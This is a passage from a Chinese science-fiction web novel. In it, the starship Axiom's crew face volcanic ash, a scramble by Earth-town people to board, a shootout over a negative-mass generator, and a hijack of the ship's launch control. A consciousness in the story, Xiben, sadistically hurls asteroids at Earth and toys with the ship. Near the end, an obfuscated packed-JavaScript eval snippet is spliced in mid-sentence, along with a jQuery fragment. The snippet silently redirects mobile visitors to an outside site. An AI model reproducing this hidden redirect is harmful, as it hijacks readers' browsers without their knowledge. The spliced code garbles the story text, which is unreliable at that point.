“对于人类的心理,我虽然是晚辈,但可能还是比你略胜一筹,科林,这是天生的优势。让他做完任务就回来,给他这个生的希望,成功率更高。”卡尔上尉说,“而且现在我们正需要特纳的才能。其他人都做不到。” “希望也是有限度的,你这个时候让特纳去,明摆着就是赶他走,让他去送死,包装得再冠冕堂皇都掩盖不住这个目的。”科林说。“虽然我也不喜欢特纳,但我强烈反对现在给他这个任务。卡尔上尉,其实我们不缺负质量发生器,我们已经有一台原型了,太过贪婪会被贪婪吞噬。”科林识破了卡尔上尉没说出来的想法。 “他当然不会孑身一人去,我会选两个合适的常量号舰员在旁边盯着他。” “反对,风险太大了,不管地球镇到底想耍什么花招,都没有必要再去理会黑圈,当前最紧迫的任务是恢复公理号起飞能力,切断供给后这场仗就结束了。” “不试试怎么知道呢,科林?”卡尔上尉说,“你错了,我根本没有希望他能完成这项任务。他要是完成了自然可喜可贺,他要是完不成,也达到赶他下船的目的了。至于另外两个常量号人,你也知道,我们常量号从降落后一直都不是铁板一块。组织有多严格,就有多少心有异的人,我早看出来了,他们根本不想继续跟我们留在太空中,我会安排好他们任务之后的去向的。” 特纳被叫到隔间,他一路都很镇静,仿佛知道了自己即将迎来什么事。机器舰员和他客气说明来自卡尔上尉的任务,让他尽快用自己的信息学才干探明黑圈内部人员组成,有两个专业训练过的人陪同,同时特意强调不要被发现,快去快回等信息。机器舰员陈述期间,特纳也一样镇静不语。最后机器人停下了等待特纳的回应。 “我接受这项任务。”科林没想到特纳直接接受了,连反问都没有。 三人离开公理号。本来常量号拿到O区的拟装系统后,也开发出了可以用于人身上的拟装,一些个体可以模仿成地球镇人。然而既然地球镇黑圈信息不明,常量号人也谨慎地没有上拟装,而是直接采取了古老的、不需要电子系统支持的易容术。在这片战火纷飞的大地上潜入黑圈绝非易事,但卡尔上尉和科林无暇担忧三人的生死,只有不朝黑圈轰击证明他们的确在留三人性命。 科林确认特纳自上公理号之后没有搞任何小动作。谨慎之下他还是紧急重新发布全舰信息识别码,覆盖了原先密钥。连接昆虫网的信息被特地划了一个分区,禁锢在1个磁盘内,内外加固了三层防火墙,防止自下而上的网络攻击。那3人离舰之后就收不到母舰传来的信息了,只能是他们的踪迹被动上传。米勒夫人自战争开始之后就杳无音信,天知道这女人到底干什么去了。 科林愈发预感事态不可靠,只有船上这蓝色护盾之内的才是生存关键。之前折跃井反馈的8个月安全期,他只觉得时间必定不可能会宽裕到8个月。除了继续防御性回击,科林立刻调整了所有舰员的优先级指令,要求他们除对战人员外所有人回到自己岗位上,继续坚决执行5个月内修复船体完整性并即刻起飞的任务。他自己也需要准备进入起飞状态,现在身处的低温乙二醇指挥室,联络舰员指挥容易,但信道宽度若是接管飞船起飞则是远远不及。他必须回到舰桥,那里才有最便捷稳定的自动驾驶接管通道。 真是命运弄人,1000年前常量号船外同样发生了争抢上船的暴动。当时的舰长心急如焚,因为警戒区内不断有人涌入,飞船电脑始终由于清场失败拒绝起飞。他本和电脑一样在有人的时候拒绝起飞,但舰长在与塔台进行了一番沉重对话后,拿着一块全息屏面对着当时人称还是“它”的崭新的科林,念出一段字符。他永远也忘不了这串留在他记忆里的强制起飞激活码。为什么不是代码,因为顺利起飞后,这串激活码就被剔除了,等待下一次重新输入才能激活。 5845-9782-3417-69NX-12HP。 喷流骤起,在肮脏干燥的大地上涌起烟尘,吞没了警戒区里的、努力还在往前爬的活生生的人。天顶越来越纯净、黝黑,他们再也见不到发射台底下究竟如何。 可能从那刻起,而不是300年后的那场大革命,这个机器人就已经踏上了成为科林的路。 他像一条准备让自己踏上岸、用水袋维持短暂旅程的鱼,将任务执行路径转交给已经准备接任的二级舰员。转移穿梭机器人MVR-A已就位,舰桥也搭建起同样的乙二醇“鱼缸”。地球的轰炸停歇,他正得到了转移的大好机会。他正要把自己身上接入的所有管线都拔除,公理号全舰都震动起来。 舰内竟然被埋了炸弹!岂有此理!这是他的第一个念头。然而这样想的不止他一个,公理号全体舰员,无论机器人或是人类,都条件反射似的检查自己岗位的损伤情况,没有发现炸弹的绿标一个个上传,布满全舰,根本没有炸弹。远距观测的结果也出来了,震动来自舰外。就算如此,科林刚轻松一点的神经立刻绷紧。 虽然预测的位置不对,但万一,这就是地球镇人埋下的另一个他们不知道的武器,持续不断的震动也足够影响公理号的稳定性了。海啸时常量号的情形立刻出现在科林的记忆内。现在的公理号,和当时降落到承重柱上的常量号已经没有任何区别! 远方隐约的山脉脚下溅起的黑烟与炸弹引起的并不相同。持续不断的地震是一方面,很快公理号全体意识到另一个麻烦接踵而至——汹涌而来的黑烟糊上了船体。虽然开着护盾,但是护盾只对炮弹这种具有动量且结构严密的材料有防护效果,纯能量对抗更是优越,然而面对缓慢覆盖而来的巨量烟尘,即使护盾的确能够分解掉这些小小的物质,但是它们分解掉后就这样以等离子体形式盖在护盾上面,根本排不掉,又有源源不断的灰粒压过来,最终结果是堆积了一层厚厚的、温度颇高的等离子体层,烘得尚未来得及分解的灰粒积蓄起可观的静电,公理号现在船壳上根本不敢轻举妄动,要是有一点点动静,伺机而动的静电就会向下穿透已经亮起高温上限警报的护盾,首当其冲的就是不堪重负的护盾发生器。 他们不敢轻举妄动,大地可不会,覆盖在上的烟尘爆发出炫亮的火光。【马上关掉护盾!】看准地球镇此时也无暇顾及公理号,就在巨量的静电即将击穿护盾发生器的千钧一发之时,保护公理号长达一周的蓝色保护层霎时消失。飞船外壳马上被无处不在的烟灰入侵。小震仍持续不断,虽然承重专家、传感计算与历史资料表明这种强度的小震不一定会让公理号重蹈常量号覆辙,然而现在起飞也变得困难了,结实糊在公理号上的黑尘会让引擎过热,除非马上在内部搭起有效的热循环,否则在升空途中,只要四发引擎中的一台失效,这艘巨舰便会失去升空姿态一头栽倒在海洋或者山峦里。 若地球镇上的人们更多是困惑,公理号上的人则结结实实提心吊胆了一夜。他们其实更早得出了火山的结论。科林可谓是捶胸顿足,他就知道折跃井铁定不靠谱,然而他们已经是开足马力全力以赴地在维修飞船,即使如此也难逃一劫,恐怕是愤怒的地球的确咆哮着要让这些寄生虫全部被歼灭。顺利升空的希望百分数直线走低,骤变的情况让计划和行动都成为了笑话,但是作为指挥官,即使知道是死路一条,也得把宗旨贯彻到底,把结果的苦水提前咽下继续为生命谋略。 直到清晨那一声爆裂。堪比17级台风的风速裹挟灰粒扫平了所及一切。公理号马上警铃大作,谁也不知道这艘飞船到底能不能抵挡得住碎屑流的冲击。护盾不得不紧急升起,已经顾不上是否会被击穿了。灰流扑上来的一瞬间全体舰员几乎都感到船体猛然向外歪斜了一下,常量号倒塌的情形抑制不住地在每个人的 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特纳在另外两个常量号人带领下潜入残存建筑群,躲过碎屑流一劫。三人都知道早就与公理号失去了联系,只能借由遗留下来的位置信息推断黑圈所在地。黑圈在信息显示上是黑圈,但人员可不是被禁锢在屋子里再也不出来。防护再怎么严密也是人,他们首先找到了特征最为明显的导弹发射井,发现艰难的撬动之后,房屋内钻出筋疲力尽、头上血迹斑斑而面色疲惫的人,没有特殊的衣物,和普通的镇民没有区别。 下船之后特纳都一直沉默,只是任两个常量号人把他带到这里。他以O区人的敏锐验证了科林的猜测,黑圈内正是沿用了O区的信息屏蔽技术。昆虫网的信号强度并不高,屏蔽并非难事。现在被碎屑流一冲击,连引入外界的都成为奢望——再也没有活着的虫子可供重新联网了。 “真是狡兔三窟啊,看清没有,原先的黑区可是囊括了O区政府和地球镇的所有武力系统,可见后来托德上校和O区高层谈和了。但现在我们可就得分开来一个个找了。”常量号人不顾身边有个O区人,低声感叹。当然,特纳根本没有任何反应,神情像是一直沉浸在自己的世界。 “潜入的任务由我们进行,你找出他们的屏蔽源破坏掉,重建我们在其中的通信。运气好的话,说不定这些建筑底下还有些苟活残喘的小虫可以爬到表面,重建一些可探测的昆虫网直接传信息回公理号,运气不好的话,任务完成后,只有你才能把信息带回公理号上了。” 特纳没有马上回答。另外两个倒也没有责怪他。然后年轻电子技师从口袋里掏出两个小盒子交到两人手中。 “你们头上的贴颅信号仪太过明显,取下外机,皮下仍然能看出内机的隆起部分。你们得想办法规避掉这样的怀疑。”特纳这才开口,示意手上的小盒子,“这是我以前做的小通信机,代替你们外机的信号接收作用。它只能在我们之间通信。而且电量并不多,只有几天的工作时间,需要抓紧行动。” 两人点头。正要离开,特纳拦住了他们。 “我有一个问题。”他的声音仍然听不出起伏。“完成任务之后,你们会去哪里?” 听此二人相视,然后笑了。 “折跃井。之前不是听说了吗,现在O区那个折跃井已经对科研人员开放了。我不想再回去过太空的日子了,回去也是日复一日的在飞船上维护,有什么广阔的未来,都与我们无关。” “这放在常量号人身上绝对是大逆不道,尤其现在公理号上任务繁重,平时就军纪如山,现在更不可能随便放船员到处乱跑。”另一个人说。然后看着特纳的眼睛,语气开始严肃。 “听着老兄,现在公理号把我们送下来,说明他们对我们能否完成任务不报任何希望,也就是说,我们是他们的‘弃子’。不过,我不会临阵逃脱。以前我们如果要提这样的请求,铁定会被惩罚的。现在他们已经决定满足我们的愿望,无论如何,我们终于得到了本不会被满足的机会,对于附带的任务更是得小心完成才不算愧对常量号人这个身份。” “我不清楚你为何被送下来,不过,公理号虽然说是不报希望,但并没有让我们去死。你要是完成了任务活着回去,无论之前如何,你也是立功了,舰员会正视你的贡献。假如你很想回去飞船上,选择在太空生存,就得靠完成任务的实力与忠诚心去证明的确有资格留在飞船上。但如果你被发现是个逃兵逃回去的,一时的确活下来了,但放在常量号人哪里,未来可不知道会过成什么样。”第一个说话的人严密观察四周情况,伺机隐入建筑。 “祝好运,老兄,信息这块就靠你了。”他们陆续隐入目标建筑。留特纳仍然沉默在原地。 没人知道特纳到底做了什么,但他们的静默实际上结束得比他们想象的要快。公理号的信道在满地的黑暗中看到某处突然亮起一个光点,由于转换的频率不同,显现的颜色也与之前不同,在大地上缓慢而漫无目的地移动。它携带的信息被接收,经过了2次加密。等到解码后,它是一段明显是匆忙的神经或者语言信号转来的信息: “我看到负质量发生器了……它就在导弹发射井脚下……无法接近,周围有很多人……他们看样子在研究使用方式……这种东西不应该在这里研究使用……” 语言就在这里结束了。随后附上的是位置信息。 此时距离公理号播报让未成年人上船,已经过了半天。 公理号的投降与未成年人登舰播报着实让托德上校始料不及。他以为这些顽固的常量号人会用强有力的手段与他们硬刚到底,此时竟然有些目瞪口呆,直到属下提醒他,往日口若悬河的军事总长这才支支吾吾吐出几个不明所以的词,然后好不容易回过神来。 公理号让孩子们上船,本是件大好事。留在地球镇没有前往折跃井的人可是得救了哇,他们对折跃井的不信任,以及这一周来的抗争总算有成效了,他们的亲人,总算得到了生存的机会。但托德上校总想总觉得不对劲。这些狡猾的常量号人,看着是投降,终于良心发现要拯救地球镇人的孩子。然而孩子们上去了之后,接受的可是常量号人的管理和蹂躏,看起来是苟活一时,然而这可是把未来都葬送在异族人手里了! “见好就收,托德上校!你要是再开战,就把自己立到所有人的对立面了。”O区区长克利夫兰(Cleveland)看穿了托德的心思。然而只有极少数人才知道,这个年轻的克利夫兰不是他人,正是格兰德镇长的亲生儿子杰克——杰柯布(Jacob)。格兰德镇长曾经以为自己的孩子在西海岸游玩时由于看管不慎跌落海中溺死,后来都对海边产生了极大的阴影,一度不允许阿莱茜丝去海边玩。当时还是牙牙学语的小杰克的确被湍急的浪冲离了海岸,但命运之神随即垂青了他,他在两公里外的海岸被O区人发现奄奄一息,然后抢救了回来,并以克利夫兰命名抚养长大。若不是当时O区与大区的关系正紧张,或许O区就会在整个地球镇询问这个孩子的来历。直到现在,克利夫兰都不知道,自己的亲生父亲正被眼前这个男人的亲信所杀。 “……”托德上校被噎得说不出话,粗短的脸憋得一会儿红一会儿青。可恶,如果早一些,海啸之后就占领公理号,哪里会落得现在这样。那个可恶的老头,都是他把事态拖成这样,真是动手动太迟了……但自己的目的始终还是被迫达到了一部分,见克利夫兰和周围人的态度,托德上校不敢当场驳斥。 “公理号上这帮常量号傀儡真是卑鄙,非得等地球镇人都通过折跃井转移去了内陆,才让孩子们上去,我早就看穿了他们的阴谋,现在地球镇还有多少孩子能救,进了平原的那些镇民真是太可惜……”托德上校只得恨恨嘟哝。 公理号发出了第二条通报,要求还在地球镇的所有女性上船。 自己的妻子儿女,以及一些直系亲属,自海啸之后由于托德的严厉掌控一直留在地球镇,熬过饥饿、短暂的战争与碎屑流灾,终于迎来托德承诺给他们的上船的时刻。托德不情愿地让自己的孩子上去之后,听闻常量号人打着投降的名义明目张胆地抢自己的女人,自然脸黑得不能看。表面上他当然让自己的妻子带着其他女性亲属上船,暗里连一颗牙都咬碎了。不行,不管克利夫兰那个蠢货和其他人到底怎么想,他无论如何都得上飞船。上飞船当然不能孤身一人。而常量号人说是未成年人登舰,大区可一直没有严格登记过人员出生日期。托德心生一计,找来看起来十分年轻的小伙子,对他们称不要管播报直接上船。 要攻之,必内外齐纷扰。这些小伙子们如果顺利上船立刻撒泼上演苦情计,为自己仍然留在大地上的父亲哭丧。而他则离开了指挥部。要逼得常量号人不得不对剩下的镇民开放,始终得先以身殉火才能从对方的混乱中夺取主动权…… 另一边,克利夫兰亲自拨通了公理号的信道。卡尔上尉当然没有拒绝,双方统领就这样在全息屏上面对面。 “已至此时也不用隐瞒了。你们接下来打算接纳什么人?地球镇的人数经过折跃井转运和这些事之后已经只剩不到一半了,公理号完全有能力容纳剩下的所有人。”克利夫兰问。 “这才是问题。公理号在机能完好条件下才能容纳所有人,但是现在的情况是我们必须尽快起飞,发动机只能承受7成的负荷。”卡尔上尉说,“优先保障孩子和妇女的生存权后,我才能告诉你还能接纳多少人。当然,技术人员优先考虑,飞船不欢迎吃白饭的人。” 克利夫兰听完冷笑一声。 “想得倒理想,可惜你们不能把浑水摸鱼的赶下去,要是硬赶,你们可就对整个地球镇再次宣战。要不听听我的建议?”克利夫兰前倾身体,“你们要是不想再次被开战,考虑一下精简你们的舰员——机器人,换取更多人类的位置。” 卡尔上尉听着克利夫兰的提议。舰上的机器人不需要氧气,能够在太空中运行。而星舰最大的威胁在于起飞时不能超重。公理号日后很长一段时间不存在降落的需要,因此,让一部分机器人乘探测船去太空,暂留在轨道上,然后等公理号升空后再把它们回收入舰。 “当然,直接放弃掉一部分机器人也是必要时可以考虑的选择。”克利夫兰隔着全息屏仔细观察卡尔上尉的表情。 他只看到卡尔上尉的脸抽搐了一下,这在这个雷厉风行的新长官脸上不常见。实际上克利夫兰看到的只是一半。科林解码了昆虫网火种传回来的信息,悄悄投屏在他们对话的全息屏后面,克利夫兰看不到。卡尔上尉当然是由于负质量发生器的信息而抽搐的。 “好哇,不如让所有人先上船,再考虑配重的事情好了。”卡尔上尉说。然后话锋一转:“你们把原本就属于公理号的负质量发生器带上来,作为区长,你一定不会不知道在哪里吧?万一它不安全,我可告诉你,公理号所有人和地球镇都要完蛋了。” 卡尔上尉满意地看着克利夫兰脸色骤变。他当着克利夫兰的面按下播报键要求地球镇剩余所有人登舰。等到克利夫兰的全息投影消失,高个苍白常量号人一脚跺向地面。 “他妈的,非得逼着我发假播报!这下战场要搬到飞船上来了!” 卡尔上尉却敏锐感到某种诡异的寂静,一般没有训练过的人察觉不到。眨眼间,舰桥控制台上同时弹起红色警告框。 “公理号电脑起飞功能被劫持!”科林飞速重排舰内船员任务,当识别出攻击者时,一股绝望笼罩了所有人。“劫持源是——折跃井!” 46. 三十五(2) 相传一个顶尖篮球球星,在球抬起的那刻就已经预判到篮球抛出的弧线,长久训练的肌肉已经自动设定好投出的角度、力量和速度,篮球出手的那刻,再也没有什么能够阻挡入篮的路。中间足足有23个人活动也无法干预短短1秒后既定的结局。那么这个顶尖球星是由于预见了未来才投出这样的球吗?还是在下意识的熟练基础上更多取决于虚幻的“运气”?如果“运气”也被球星预料在内呢?已经洞悉场上所有人的动作,清楚知道不会有任何超脱状况之外的事情发生,甚至连焦灼的等待都不需要多久,只需在倒计时结束瞬间篮球入框完成绝杀。 把情景放大一些,装载了远程控制器件的太阳系内所有物体都是球星身体的一部分,被支配的各个天体或者人造设备就是篮球。有了欧罗拉的事件透镜,运气也不再是虚幻。而驱动这具球星身体的意志,正是哪怕在侵入超空间基地、并且一度关闭相当大一部分区域的事件中都袖手旁观的西本。 被陨石震荡后南移的地幔柱热点失去头顶的重力骤然减压,朝着地球镇边缘大地急速上升熔化。很快此前那颗小行星撞击外地核的回波也会回荡,将此部分地壳的裂痕撕开,像太平洋火圈一样连为一线。西本像个演奏到第二乐章的奏乐师,火山在地球镇出现的那一刻,此前沉默的他骤然采取行动,程序式地启动了所有装载推进器的小天体,驱动着欧罗拉散布在空间中的触手,抛出这些曾经散在小行星带和柯伊伯带的岩石彗星块。之前短暂被干扰过的小行星已经损失了一部分燃料,现在在西本的控制下全力朝地球进发。很快它们耗竭了所有燃料,进入到不可挽回的轨道,迟早会被地球捕获,在万有引力之下轰击为一体。 至于对地球镇人许诺的八个月窗口期?对不起,谁让你们人类之前扰动了一下小行星让它们燃料不够呢,现在只好让它们进入快速轨道,保证忒亚计划顺利完成了。反正对于地球来说早些晚些也无所谓。这个娴熟的球星对欧罗拉遍布在太阳系内的触手了如指掌,驱动小行星同时,遍布在地球与月球的所有此前“故障”的深空防御系统也打开了尘封的导弹井,原先用于拦截小行星的硕大火箭全部升空,朝太阳系既定的各个角落进发,成为埋伏在太阳系里的一颗颗深空□□,若是有外界飞船到来,就会触发这些曾经用于抵抗天体的炸弹,太阳系再也不欢迎外来客。随着这些导弹头快速离开地球轨道,抛去沉重的空燃料槽,展开太阳帆借着惯性滑行到看不见的深处,地球也彻底失去了所有抗深空力量。 西本当然知道同在超空间基地内的那么多意识体已经察觉了他的行动,但这又如何?他们在他周围只是一群慌张却无计可施的苍蝇,在他干脆利落的行动下,那些意识歇斯底里的呐喊只是些无关痛痒的干扰。他牢牢抓着忒亚计划的目标不放手,一项又一项任务被勾掉,后续失败可能也被他强硬赶出去。那些意识体又发起各种各样拙劣的侵入,但是这些侵入连自己的目的都在自相矛盾,自然一碰即碎,连欧罗拉的控制权都夺取不了半分。 他沉浸在自己指挥的厄运交响曲中,四周的杂音都被乐声淹没。小天体和核弹头的推进器燃料耗尽,作为程序的那一部分在顺利执行任务后逐渐沉寂,不断扫描威胁时把目光投向了地球镇上硕大的飞船和大地上的争斗,憎恨自人类部分骤起,但已经完成任务的西本只发出一声沉默的冷笑,游戏似的伸手掐住硕大飞船的起飞中枢,但是没有下死手,而是就这么停滞在那里,挑衅似的对刚刚久攻不下的超空间基地里的所有意识体打开一条裂隙,将他们的目光轻松导向硕大飞船。 来呀,大逃亡计划的虫子们,来享受你们自己酿下的死亡之旅的痛苦吧,这是你们1000年间,傲慢、无知与冷漠结成的果实。西本像个盛宴端上桌的美食家,一改刚刚的干脆利落,转而缓慢而精细地剥取公理号飞船的代码,一步一顿,十分享受这些飞船人手足无措的煎熬。那些人自然在反抗他的侵入,刀叉不时碰到石头,但他丝毫不在意,不恼羞成怒,而是绕到他们那迟钝缓慢的行为根本无法顾及的另一处继续切。 不止这些愚钝的飞船人在阻挠他,超空间基地的人也终于从刚刚的呆若木鸡中反应过来,开始自他开放的那条裂缝介入到欧罗拉的控制权中。而西本仍然不气恼,面对这些人的反抗,甚至由于介入欧罗拉的控制权而时不时牵着他移动刀叉的袖子和手臂,使他不那么容易继续剥开公理号的代码,他却愈加兴奋。【为什么你要这样?他们是无辜的!】遥远而绝望的意识嘶吼苍白无力,或许是下意识地居然在劝他。而他为什么要反思呢?这些人的生死和他没有任何关系。 我到底想要什么?西本不知道,他也不在意。他只知道,看着这些人类被严厉的地球和太阳系折磨,他就有一种近乎变态的满足与开心。但就这么让这些地球人被灭掉太便宜他们了。必须得多多制造困难,让他们沉浸在绝对的绝望和仍有一丝希望的最折磨的境况中,才是最适合人类劣性的惩罚。看那,你们人类那傲慢的才智,到底是败在我西本的游戏中,还是败在你们人类自己的矛盾之下。领先几百年的对欧罗拉系统的熟悉程度让他无论在大到天文单位的尺度或小到几纳米的电路板游刃自如。只有这一艘船见方的地方他才高抬贵手,其他的区域,比如现在仍然缓慢运动的小天体和核弹头,连入侵的可能性都没有。 西本眼睁睁地看着自己的手腕与那些意识体纠缠、僵持,然后这些意识体居然让他的手腕逐渐倾倒,而他并不气恼。他们比愚钝的那些飞船上的人要灵活得多,西本轻松加快了博弈的速度,不断蜻蜓点水般使刚修好的程序段又崩溃,吸引足了那些狭隘的意识体的目光。而他的另一些部分一直在滚烫炽热的大地上游走。等他感应到一个不寻常的物体终于从坚固的堡垒中缓缓现身,西本发出一声连意识体都听不到的大笑,将新的手伸向了那个物体。 公理号短短一小时内骤转风口,广播全部地球镇人即刻登舰后,原本深藏在发射井堡垒里与飞船作战的人眼里霎时失去光芒,失神落魄地站在原地。然后低下一周以来由于疲劳与饥饿而皮肤深陷的头颅,沉默向外面的灰暗世界边缘的硕大船体走去。 飞船的广播当然也传到了托德耳朵里,明明已经彻底达到了他们开战的目的,但眼见军心大异,托德却气不打一处来。 “陷阱!这是陷阱!都留在原地!继续执行命令!”托德也知道自己在发出无效的指令,看到手下们一个个的确懈怠的神情更是恼怒。“回来!不准擅自离岗!” “上校,公理号允许登舰了,战争结束了,我们还想活着。上面还有我的家人在等我。”一个人回头,呆滞麻木的双眼与托德眼中的怒火相碰。 他们突然听到一声尖锐的能束切割空气的声音。回头,托德上校手中拿着能束枪,缓缓落下枪口对准他们。 “不完成我给你们的命令,不准登舰!”托德说,“否则全部击毙!” “你这样可怪不得同僚全部背叛你。”没等他们反应,另一个声音突然出现,托德忙转头,看到了正举枪对准他的克利夫兰区长。“不要尝试启动负质量发生器。你们离开这里。” “你要干什么?”托德把枪对准了克利夫兰,见状刚刚仍留在原地的那些手下们跑得一个不剩,硕大的发射井里只剩下这两个人。“你想把这个武器据为己有吗?” “战争结束了,托德上校,把枪放下。”克利夫兰说,“我要把这个原本属于飞船的东西归还上去。” “可笑!”托德没有放下枪,也没有离开。“常量号人叫你搬上去的?你们都是蠢货。难道看不出来这是那帮常量号鬼子的拙劣诡计吗?你以为我不知道飞船的配重难题?我告诉你!这一台发生器的重量能抵多少活人,知道吗?那些常量号人为了拿到发生器,甚至愿意把相当重量的活生生的人放弃!” “他们已经发了地球镇人全民登舰的声明了!”克利夫兰说,“带上负质量发生器,他们不可能在发生器还在我们手上的到时候公然对我们开战!” “蠢货!现在发这个声明,难道看不出来是假声明,看不出来他们就要等我们带着这个发生器乖乖现身吗?”托德逼近了克利夫兰,“不要逼我对你开枪,克利夫兰,看在你是个毛头小子份上,赶紧夹起你的狐狸尾巴去飞船上当你的缩头乌龟去,我不可能把负质量发生器交给你或者飞船的。你以为之前公理号为什么没有炸这里,巧合吗?它是唯一让飞船和折跃井里那帮废物不敢对我们恣意下手的筹码!” “现在滚!我要在这里直接启动负质量发生器,直接破坏掉折跃井!折跃井才是造成我们现状的罪魁祸首!”托德的唾沫都要飞到克利夫兰脸上。而年轻O区人仍然不为所动。 “不可以。”克利夫兰的声音低沉得可怕,“折跃井里还有很多人活着,不可以破坏掉超空间基地。” “哈!你是说那帮人类叛徒?”托德的嘴角都抽搐起来。“他们在里面有帮我们什么忙吗?没有!他们再也回不来了,与一群死人无异。把目光放在活人身上,克利夫兰!让负质量发生器在这里炸掉,能让常量号人少杀我们的活人!” “不可以。你是在扼杀人类唯一的希望。”克利夫兰说。“公理号跨星系远航需要负质量发生器,你要是毁了它,即使升空,公理号也会一直困在太阳系,补给全都会枯竭,你只不过是把所有人的死期往后延了一些而已!” “地球镇的背叛者!”托德高声叫道,将能束枪对准了克利夫兰。“公理号已经有一台发生器了,你这个人类叛徒,和那个老头一起下地狱去——” 托德只看到克利夫兰的眼珠猛然向外飘忽了一瞬,好像在看他背后的什么东西。托德没来得及回头,灼热突然从后背贯穿了心脏。剧痛混着骤黑冲袭大脑。他模模糊糊听到了什么对话,却再也没有机会仔细辨认它们。下一秒,手上的枪被抢走,模糊的意识被贯穿头颅的另一束灼热夺去。 “有人失去父亲了。”另一个声音平静,听不出情绪。 “特纳。”克利夫兰望向自转角出现的电子技师。两人手上的能束枪都滚烫。托德俯倒在O区区长面前,双眼半睁,血液自胸口不断涌出,漫了一大片。克利夫兰向后退一步,和特纳望向硕大而结实的负质量发生器。 “公理号已经知道发生器的位置了。他们正在派人下来把它运回去。”特纳的声音仍然很平静,他上前观察发生器的控制系统。“负质量发生器的启动很难,必须达到输出端的同时开放与实时空间引力反馈,靠人力计算几乎不可能达到这个条件。所以即使托德下命令,他也不能达到这个目的。” 发射工事里有运输轮,已经有机器人先遣部队飞进来了,一同发射力场束,将这个沉重无比的发生器抬到运输轮上。然后会有WALL-A机器人将它缓缓拉回去。即使仍有这些机器人进行力场束辅助,在坑洼不平的大地上仍然预计耗时10h。 “为什么你要杀他?”克利夫兰看到特纳摸索着硕大负质量发生器的控制系统。他拆开面板,在机器人帮助下爬到沉重机器的其中一极之上。克利夫兰清晰看到电子技师拿出剪刀。“你知道他不能启动负质量发生器。” “因为他是一个极端种族主义者,总会找机会杀死我们所有人。”特纳剪掉了控制线。他无法拆开内部厚重致密足够承受高压的生成腔,剪掉那一条外部控制线已经是他的极限。然后他艰难爬向另一极,他的敌人只是时间。“别以为我有多深谋远虑,我只是恐惧到时候直面他。” 他们终于缓缓离开发射井,远眺见大批的机器人从灰暗的巨舰中涌出,克利夫兰知道卡尔上尉最终采纳了他的建议。特纳仍然无声而艰难地在昏暗天光之下固执地剪着。另一极的线埋在了下方,他连拆掉布线上方的外壳都很艰难,剪刀离最后这根外控制线始终只有永恒的几厘米。颠簸让铁皮无情割破了他的手。快啊。特纳的汗珠不断滚落,那些机器人的力场已经在给他腾出操作空间。多剪一根,就能多一分活着回去飞船的机会…… 他早知道公理号已经乱成一团,折跃井里的那些幽灵已经在对飞船的控制系统下手了。幽灵无法干预宏观断裂,那边的人也在紧急拆解负质量发生器原型机。特纳一点都不信任折跃井里那些人,虽然他并不厌恶他们。总之无论他们是好是坏,指望或者谴责他们都没有一点用处,本来自己的性命就得靠自己去争取。只是太多人都下意识把生命交给看似强于自己一等的人管理,连问都不问就把责任丢给他人,还要诘问管理不善。这种偷懒行为迟早让懒掉的灾祸回到自己头上。 区区剪掉外部控制线根本无法彻底阻止那些幽灵的有意破坏,特纳完全知道这点。他和克利夫兰的脸上身上落满了粘稠的灰,缝隙终于被撬开,他知道这已经是能处理的最后一根了,剪刀被他拧开,变成一把钝得无比的单刀,一点点割着坚韧的管线。连剪刀都嵌了进去。不要在这里启动。克利夫兰和那些机器人把外部面板的控制元件取了出来。现在,飞船从外部看上去安静无比。特纳已经想象了无数悲观的结果,但倘若那些幽灵就等着他们上飞船然后启动飞船自毁一网打尽他们,他也死而无憾了。 “快离开!你们快离开!”两个飞行机器人突然拽起特纳和克利夫兰的胳膊,剪刀滑落进缝隙,尖锐外壳刺啦一声划破了特纳的手掌,他忍不住尖叫起来。但下一瞬自己双脚已经离地,浓稠湿热的风呼呼刮过全身,血很快浸透一大片衣角。 【抱歉,但是有什么事情登舰再处理吧,公理号随时都可能起飞。】特纳勉强认出这是公理号的机器人,它的电子语言在特纳的植入设备里翻译。 “怎么可能?”特纳难以置信。“没有适配的负质量发生器,怎么跃迁?” 【情况变化太快了,我们的任务就是保证飞船顺利起飞。】机器人的电子语言快速转译,【还有把地球镇上剩下的人类送上飞船。】 克利夫兰不语。常量号人的性格没有那么无私。“谁命令你们带我们回去的?”他问,但是得到的是一串听不懂的电子回答。 “克利夫兰,他们只接到了离舰的任务,这些机器人自愿搜寻地面上残存的人类并接上飞船。”特纳在狂风中艰难说话。“他们……他们主动把位置让给了我们。” 面对涌上飞船的大量民众,舰上成员当然严阵以待可能的人肉炸弹,不仅没收了所有登舰人的武器,还不论他们同意与否都注射了可供追踪的微芯片。常量号人已经来不及让这些人适应刚植入的芯片,流水线般把抱怨□□ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706312|173541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 注射疼痛的地球镇人推到下一个集中点。循环喇叭声和瘦高苍白的常量号人让新来的地球镇人噤声。即使那些惯于生存在太空的人训练有素,连日的忙碌使他们脸上的疲惫显而易见,面对个别持有顽固异议的地球镇人和嘈杂背景,几乎是盛怒地大声吼叫。 “听好了!不是上了飞船就可以高枕无忧了!这里不欢迎懒虫!要是谁胆敢不听指挥搞破坏,只有被当场击毙一个结局!”其中一个场的常量号人举起手中的击昏器。“通过技术测试的,立刻维护飞船系统!剩下的人,马上支援舰内后勤工作!” 公理号飞船控制系统区域早是一团糟。常量号人知道卡尔上尉将大量舰载机器人移出舰外的行为,无不质疑高层的指示,因为机器人的高效算力才是将飞船从当前困境解救的关键,失去机器人的并联算力辅助,光靠人力的技术攻破就是痴人说梦。在常量号人这里,机器人的价值远远大于新上船的这些人类。即使他们知道让机器人出去是为人类生存腾出空间,但是假如有得选,他们会更希望把那些无用的地球镇人赶下飞船。但强硬的高层命令在前,倒也只得运用好当前的资源来咬牙捉住一线生机了。幸亏高层也意识到这个问题,原先舰内运输物资的机器人大量转为中控区替补岗,保证算力储备充裕及时;新上来的人类则接替原先机器人的舰内运输岗位,用人数冗余暴力换取准确性。 